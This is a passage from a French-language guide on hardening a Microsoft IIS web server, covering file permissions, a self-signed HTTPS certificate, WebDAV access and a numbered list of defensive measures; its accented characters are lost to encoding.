fichiers sont indispensables, veiller ce que les permissions d'accs aux fichiers
soient les plus restreintes possibles. Par exemple, les fichiers systmes doivent
pouvoir tre excuts par les Administrateurs seulement et ne doivent tre
modifiables par personne.
Configurer les permissions d'accs aux fichiers au niveau d'IIS lui-mme : limiter
au maximum les permissions Write sur les rpertoires et les fichiers de
larborescence Web. Idalement, tous les fichiers doivent tre en Read
seulement. Enfin, dsactiver le directory browsing , permettant de lister le
contenu de vos rpertoires Web quand aucune page par dfaut n'existe.
Vrifier qu'aucun rpertoire ou fichier sensible n'est index, car dans ce cas son
contenu serait accessible par l'intermdiaire d'un moteur de recherche de type
Index Server si celui-ci est utilis. Il est recommand, si ce n'est pas
indispensable, de ne pas utiliser Index Server et d'arrter le service
correspondant.
Serveur en HTTPS
Il est possible de demander un certificat un organisme spcialis faisant
autoris pour la certification. Cette solution n'est pas gratuite. La solution que
l'on va adopter est gratuite et consiste utiliser notre serveur comme autorit
de certification.
Voici les diffrentes tapes :
- Demander un certificat
- Crer le certificat de serveur.
- Indiquer IIS d'utiliser ce certificat.
- Exiger les communications scurises pour certains sous sites.
- Vrifier le fonctionnement partir d'une station.
Chaque sous site peut alors tre utilis en http ou en https. Si on souhaite que
seul le protocole https puisse tre utilis, il faut imposer la connexion SSL
laisser les choix par dfaut pour les emplacements du stockage des donnes
Dlivrer le certificat
Dans "Outils d'administrations", "Autorit de certification", entrer dans "Demandes en
attentes" pour notre certificat. Il se trouver un certificat en attente de traitement.
Faire "Dlivrer".
Dlivrer le certificat
Sur le serveur, avec le mme navigateur que pour celui utilis pour faire la
demande de certificat utiliser nouveau l'adresse
http://localhost/CertSrv
Choisir "Vrifier un certificat en attente".
lapparition de: "Le certificat que vous avez demand a t mis", laisser le
choix "Cod DER" et cliquer sur "Tlcharger le certificat de l'Autorit de
certification".
Profiter du certificat
Le reste du paramtrage de IIS sera fait automatiquement par IACA.
La personne devra s'identifier pour l'accs WebDAV. Sans IACA ceci aurait pu tre
fait en allant, pour chaque rpertoire, en utilisant le bouton "Modifier" de "Accs
anonyme et contrles d'authentification" et en supprimant la coche devant "Accs
anonyme" mais en laissant la coche devant "Authentification intgre de Windows".
Ben Farh Hdi
Pour chaque personne qui une permission lui a t accorde pour l'accs par WebDAV
au rpertoire personnel, cocher "Lect. DAV" ou "Ecrit. DAV".
Laisser le port udp 123 (NTP) ouvert pour la synchronisation dhorloge, le mieux
tant dutiliser un serveur NTP local.
Installer un serveur WSUS local dans le cas de Microsoft pour le tlchargement
des correctifs
Utiliser un superviseur de rseau tel que TcpDump, Ethereal ou Network Monitor
pour raffiner le monitoring
I. Installer le serveur WEB sur une partition NTFS ddie, dans le cas dIIS, pour
viter les remontes aux fichiers systmes et les attaques transversales.
II. Fermer les ping et ICMP .
III. Instaurer des comptes administrateurs avec des mots de passe forts.
IV. Fermer tous les services non utiliss comme FTP, SMTP et autres qui prsentent
des portes dentres accessibles.
Tant quun service ou composant nest pas explicitement utilis, il ne doit pas tre
prsent sur le systme .
V. Eviter les extensions FrontPage, dans le cas dIIS, qui prsentent des failles
connues.
VI. Supprimer le Site Web par dfaut et en crer un avec un nom bien spcifique.
VII. De mme, supprimer le compte anonyme et en recrer un avec un nom particulier,
limiter ses droits suivant lusage et par rpertoires (Lecture, Excution, Ecriture,
Affichage du contenu du dossier, etc ).
VIII. Ne pas permettre de connatre les chemins des URL. Eviter dinsrer les plans
du site.
IX. Supprimer les pages dexemple, les documentations inhrentes chaque service
install et les rpertoires virtuels pointant vers ces fichiers. Il faudra de mme
banaliser les pages de messages derreurs (HTTP erreur 401, etc ) afin de
donner le moins dinformations possibles aux visiteurs.
X. Utiliser, quand cest ncessaire, le cryptage SSL.
SSL (443) ne protge que le contenu des donnes et nempche pas les intrusions.
XI. Veiller reconfigurer les serveurs pour que les rpertoires temporaires,
qui servent par exemple la dcompression de fichiers, ne soient pas sur les
partitions systmes.
XII. Supprimer les filtres ISAPI et les Mapping superflus et non utilises.
Les filtres ISAPI reprsentent une alternative IIS aux scripts et programmes CGI.
Le seul filtre prsent est le filtre ASP.NET. Si vous en voyez dautres alors que
vous navez aucun fichier affubl de ces extensions, supprimer les. Le ver
Code Red, par exemple, recherche la prsence de fichiers avec lextension .IDA.
Si le filtre ISAPI pour lextension .IDA est absent, le serveur renvoie au ver une
erreur de type page non trouve et celui-ci ne pourra infecter votre serveur.
XIII. Appliquer les correctifs de mise jour de faon automatise pour viter loubli.
XIV. Crer des rpertoires spcifiques pour chaque usage de fichiers ex : Rpertoire
Images, un Rpertoire pages dynamiques, un Rpertoire pages statiques, etc ...
XV. Nautoriser les permissions de ces rpertoires quen fonction de lutilisation des
fichiers (les rpertoires Image et pages statiques en lecture seul et le rpertoire
contenant des fichiers dynamiques avec des droits dexcution).
XVI. Les systmes Microsoft permettent quelques parades contre des attaques
comme cette modification de cls de registre.
XVII. Favoriser lusage du certificat de connexion quand cest possible, coupl avec
un mapping sur un compte local existant.
XVIII. On pourrait aussi retirer toutes les commandes excutables comme telnet.exe
etc ... des partitions systmes ce qui reste, malgr tout, assez lourd grer.
Il sera plus judicieux de dsactiver lappel au Shell de commande avec la base
de registre :
\HKLM\CurrentControlSet\Services\W3SVC\Parameters\SSIEnableCmdDirective
zro ou de dsactiver toutes les extensions ISAPI faisant rfrence aux
fichiers .EXE. dans le cadre dun serveur Microsoft.
XIX. Installer et configurer les utilitaires Microsoft UrlScan, IISlockdown et MBSA mme
si certaines parties sont dj intgres IIS 6.
XX. Penser, aux attaques pouvant venir de lintrieur. Le spam est devenu la
premire nuisance visible des boites mails. Il nest pas vident, pour un utilisateur
non averti, de ne pas rsister la tentation de cliquer sur un lien vantant tel ou
tels mrites et dactiver, ainsi, louverture dune faille ou dun keylogger. Ce
dernier pourra rcuprer les frappes du clavier ou le stockage de mots de passes.
XXI. Il pourra tre envisag dutiliser des rpertoires virtuels apportant de nombreux avantages :
- ils sont situs nimporte o sur le disque et non plus dans la racine
\inetpub\www\ prsentant ainsi la structure dun site web classique.
- Ils permettent davoir plusieurs serveurs web et dtre dplaables volont
sans avoir changer les liens, juste en modifiant le chemin de lalias.
- Si le site est hberg sur une partition FAT, pointer le rpertoire virtuel sur
une partition NTFS avec sa propre gestion des droits daccs.
- Les clients nont aucune ide de lemplacement du contenu sur le disque.
XXII. Lemploi dun Reverse Proxy comme ISA Server ou autre pour enrayer
les injections de codes et les accs direct au serveur proprement dit. En effet, le
Reverse Proxy permet dintercepter les requtes des utilisateurs pour les
reformuler lui-mme vers le serveur ; ceci empchant au navigateur client laccs
la page rfrence du serveur afin de pouvoir modifier, ensuite, le code existant
par injection de code, JavaScript ou autres.
XXIII. Un Pare-feu Applicatif utilisant des filtres de niveau 7 sur lchelle OSI.
XXIV. - De mme, il faut prconiser lutilisation de Switch ports commuts plutt que
des Hubs qui diffusent en Broadcast afin dviter les coutes sur le rseau.
Ceci peut paratre succinct et ne protgera pas des attaques dites
Man in the Middle mais, encore une fois, elle rduira la surface dattaque.
Nota : Les nouveaux protocoles SSH2 protgent maintenant des softs dcoutes
comme Ettercap.
MERCI